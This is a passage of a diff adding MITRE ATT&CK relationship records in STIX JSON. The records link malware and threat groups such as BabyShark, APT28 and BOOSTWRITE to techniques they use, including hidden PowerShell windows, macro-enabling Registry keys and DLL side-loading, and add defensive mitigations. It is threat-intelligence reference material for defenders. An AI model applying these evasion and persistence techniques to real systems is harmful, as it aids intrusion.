[certutil](https://attack.mitre.org/software/S0160).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.067Z", + "id": "relationship--94e051ad-2f6d-4322-a854-6ee1944a8904", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-14T19:52:22.632Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the tasklist command.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.069Z", + "id": "relationship--54a384e5-17c8-422d-b199-18e7945cb7d6", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has added a Registry key to ensure all future macros are enabled for Microsoft Word and Excel as well as for additional persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.072Z", + "id": "relationship--ab322e5c-dfd2-45dd-bee1-59aec9d1d840", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-14T19:52:22.665Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the reg query command for HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.074Z", + "id": "relationship--2f28f6e0-795f-4e0d-8459-514a42a96ce9", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.074Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has executed the ipconfig /all command.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.099Z", + "id": "relationship--cef53316-353b-48f8-bce4-1d95f3ff843e", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.099Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BabyShark](https://attack.mitre.org/software/S0414) has used dir to search for \"programfiles\" and \"appdata\".\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T19:05:49.101Z", + "id": "relationship--5c738353-868a-4e4d-8628-e1d14e502980", + "source_ref": "malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b", + "modified": "2019-10-07T19:05:49.101Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019.", + "source_name": "Unit42 BabyShark Feb 2019", + "url": "https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[APT3](https://attack.mitre.org/groups/G0022) has been known to use -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-07T22:15:43.675Z", + "id": "relationship--1c1296da-4504-4f00-b16a-8ecc29820ea9", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-10-11T19:27:53.005Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Moran, N., et al. (2014, November 21). Operation Double Tap. Retrieved January 14, 2016.", + "source_name": "FireEye Operation Double Tap", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "description": "Administrators should perform an audit of all OAuth applications and the permissions they have been granted to access organizational data. This should be done extensively on all applications in order to establish a baseline, followed up on with periodic audits of new or updated applications. Suspicious applications should be investigated and removed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-08T19:55:33.729Z", + "id": "relationship--4b5948b4-eba5-4af6-93d1-71b109167f62", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-18T15:20:05.617Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "description": "A Cloud Access Security Broker (CASB) can be used to set usage policies and manage user permissions on cloud applications to prevent access to application access tokens.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-08T19:55:33.750Z", + "id": "relationship--d3e90e1c-b669-4909-ae44-75bfe8bf89e8", + "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", + "modified": "2019-10-18T15:20:05.616Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", + "description": "Administrators can block end-user consent to OAuth applications, disabling users from authorizing third-party apps through OAuth 2.0 and forcing administrative consent for all requests. They can also block end-user registration of applications by their users, to reduce risk. A Cloud Access Security Broker can also be used to ban applications.\n\nAzure offers a couple of enterprise policy settings in the Azure Management Portal that may help:\n\n\"Users -> User settings -> App registrations: Users can register applications\" can be set to \"no\" to prevent users from registering new applications. \n\"Enterprise applications -> User settings -> Enterprise applications: Users can consent to apps accessing company data on their behalf\" can be set to \"no\" to prevent users from consenting to allow third-party multi-tenant applications", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-08T19:55:33.752Z", + "id": "relationship--25407fd4-3940-4446-9c17-6eebe902dbdf", + "source_ref": "course-of-action--21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", + "modified": "2019-10-18T15:20:05.614Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b24e2a20-3b3d-4bf0-823b-1ed765398fb0", + "description": "[LockerGoga](https://attack.mitre.org/software/S0372) has been observed changing account passwords and logging off current users.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-09T19:24:01.724Z", + "id": "relationship--57385cb2-e3ef-4006-b465-a5a48632d02b", + "source_ref": "malware--5af7a825-2d9f-400d-931a-e00eb9e27f48", + "modified": "2019-10-10T12:16:50.286Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CarbonBlack LockerGoga 2019", + "description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. Retrieved April 16, 2019.", + "url": "https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/" + }, + { + "source_name": "Unit42 LockerGoga 2019", + "description": "Harbison, M.. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", + "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe", + "description": "[Machete](https://attack.mitre.org/software/S0409) has scanned and looked for cryptographic keys and certificate file extensions. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T12:39:13.784Z", + "id": "relationship--14adcf50-912a-48d5-87f6-72d2273039aa", + "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", + "modified": "2019-10-10T12:39:13.784Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Machete July 2019", + "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Integrating multi-factor authentication (MFA) as part of organizational policy can greatly reduce the risk of an adversary gaining control of valid credentials that may be used for additional tactics such as initial access, lateral movement, and collecting information. MFA can also be used to restrict access to cloud resources and APIs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T16:53:10.816Z", + "id": "relationship--33e04e78-4d99-49f1-8b10-39b2df7b2419", + "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0", + "modified": "2019-10-23T14:22:12.091Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Routinely audit source code, application configuration files, open repositories, and public cloud storage for insecure use and storage of credentials.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T18:46:45.480Z", + "id": "relationship--4bc294a7-8b41-481e-8ed0-fa556375cb6b", + "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "modified": "2019-10-23T14:22:12.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "description": "Ensure that applications do not store sensitive data or credentials insecurely. (e.g. plaintext credentials in code, published credentials in repositories, or credentials in public cloud storage).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T18:46:45.553Z", + "id": "relationship--c8acdf40-8237-487f-8255-91afa327705d", + "source_ref": "course-of-action--25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "modified": "2019-10-23T14:22:12.120Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761", + "description": "Cloud service providers may allow customers to deactivate unused regions.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T19:17:52.805Z", + "id": "relationship--70add783-c72c-4048-ba94-5e1e79c2d679", + "source_ref": "course-of-action--b5dbb4c5-b0b1-40b1-80b6-e9e84ab90067", + "modified": "2019-10-22T19:56:22.154Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.", + "source_name": "CloudSploit - Unused AWS Regions", + "url": "https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1c2fd73a-e634-44ed-b1b5-9e7cf7404e9f", + "description": "Limit access to the Instance Metadata API using a host-based firewall such as iptables. A properly configured Web Application Firewall (WAF) may help prevent external adversaries from exploiting Server-side Request Forgery (SSRF) attacks that allow access to the Cloud Instance Metadata API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T20:24:44.964Z", + "id": "relationship--b3fc3626-b507-42b6-9930-b7662d01bd4c", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-22T19:57:26.246Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RedLock Instance Metadata API 2018", + "description": "Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern Day Trojan Horse. Retrieved July 16, 2019.", + "url": "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + } + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[APT28](https://attack.mitre.org/groups/G0007) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T21:54:00.462Z", + "id": "relationship--27e91ac8-9463-4a7a-8f1f-89abeba1b02d", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-10-11T19:25:27.268Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "source_name": "Palo Alto Sofacy 06-2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "McAfee APT28 DDE1 Nov 2017", + "description": "Sherstobitoff, R., Rea, M. (2017, November 7). Threat Group APT28 Slips Office Malware into Doc Citing NYC Terror Attack. Retrieved November 21, 2017.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/apt28-threat-group-adopts-dde-technique-nyc-attack-theme-in-latest-campaign/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used the WindowStyle parameter to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T21:57:37.023Z", + "id": "relationship--db8530c2-ce41-4943-8a17-91502187fd06", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-10-11T19:30:18.670Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "source_name": "Cybereason Cobalt Kitty 2017", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[APT19](https://attack.mitre.org/groups/G0073) used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T22:00:27.892Z", + "id": "relationship--2e6e8722-d09d-402e-9ea8-ccf8412339d0", + "source_ref": "intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6", + "modified": "2019-10-11T19:12:16.285Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ahl, I. (2017, June 06). Privileges and Credentials: Phished at the Request of Counsel. Retrieved May 17, 2018.", + "source_name": "FireEye APT19", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) has used -w hidden and -windowstyle hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T22:17:29.523Z", + "id": "relationship--948a5d37-65d1-403f-99bb-0f08186aeebc", + "source_ref": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", + "modified": "2019-10-11T19:32:55.376Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has used -WindowStyle Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-10T22:19:43.951Z", + "id": "relationship--ab3cf933-236f-4255-9ca6-24826f9bbe99", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-10-11T19:34:32.798Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[Deep Panda](https://attack.mitre.org/groups/G0009) has used -w hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T03:20:40.155Z", + "id": "relationship--673bf715-0ccc-48fd-93b5-570b417cc41a", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-10-11T19:37:54.532Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) has used -W Hidden to conceal [PowerShell](https://attack.mitre.org/techniques/T1086) windows by setting the WindowStyle parameter to hidden.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T03:22:46.389Z", + "id": "relationship--85a1a7f3-bdcc-4473-ba3c-46d6946d6996", + "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "modified": "2019-10-11T19:39:42.608Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[KeyBoy](https://attack.mitre.org/software/S0387) uses -w Hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1086) window that downloads a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T03:32:15.674Z", + "id": "relationship--527e03b3-5b14-4a6c-ab05-0e18bac0357d", + "source_ref": "malware--5dd649c0-bca4-488b-bd85-b180474ec62e", + "modified": "2019-10-11T20:13:22.344Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Parys, B. (2017, February 11). The KeyBoys are back in town. Retrieved June 13, 2019.", + "source_name": "PWC KeyBoys Feb 2017", + "url": "https://www.pwc.co.uk/issues/cyber-security-data-privacy/research/the-keyboys-are-back-in-town.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "description": "[BONDUPDATER](https://attack.mitre.org/software/S0360) uses -windowstyle hidden to conceal a [PowerShell](https://attack.mitre.org/techniques/T1086) window that downloads a payload.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T04:02:42.292Z", + "id": "relationship--5c9bea96-819a-4a39-9814-62f3473530a4", + "source_ref": "malware--d5268dfb-ae2b-4e0e-ac07-02a460613d8a", + "modified": "2019-10-11T19:43:24.876Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d4bdbdea-eaec-4071-b4f9-5105e12ea4b6", + "description": "Implement network-based filtering restrictions to prohibit data transfers to untrusted VPCs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T15:46:13.715Z", + "id": "relationship--a5b61b67-8d99-4bc5-86d0-00739f0be666", + "source_ref": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "modified": "2019-10-23T14:26:33.097Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used a a 32-byte long multi-XOR key to decode data inside its payload.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:04:32.102Z", + "id": "relationship--07bbfaa8-c62f-4abc-845c-55b28434d058", + "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "modified": "2019-10-11T16:04:32.102Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has used the DWriteCreateFactory() function to load additional modules.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:04:32.117Z", + "id": "relationship--db3b37f1-9c85-4e52-bbd7-4b71ad68400d", + "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "modified": "2019-10-11T16:04:32.117Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has been signed by a valid CA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:04:32.121Z", + "id": "relationship--adbec5d6-1ffe-4b0b-ae03-9c690ff5c507", + "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "modified": "2019-10-11T16:04:32.121Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": "FireEye FIN7 Oct 2019", + "url": "https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--46944654-fcc1-4f63-9dad-628102376586", + "description": "[BOOSTWRITE](https://attack.mitre.org/software/S0415) has exploited the loading of the legitimate Dwrite.dll file by actually loading the gdi library, which then loads the gdiplus library and ultimately loads the local Dwrite dll.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-10-11T16:04:32.132Z", + "id": "relationship--ee1f163e-7d9b-449a-ba71-0d0091abfb8a", + "source_ref": "malware--56d10a7f-bb42-4267-9b4c-63abb9c06010", + "modified": "2019-10-15T17:07:57.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Carr, N, et all. (2019, October 10). Mahalo FIN7: Responding to the Criminal Operators\u2019 New Tools and Techniques. Retrieved October 11, 2019.", + "source_name": 